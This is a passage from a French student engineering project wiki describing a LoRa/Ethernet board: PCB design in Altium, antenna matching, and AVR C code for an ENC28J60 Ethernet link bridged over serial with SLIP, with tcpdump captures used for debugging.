Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
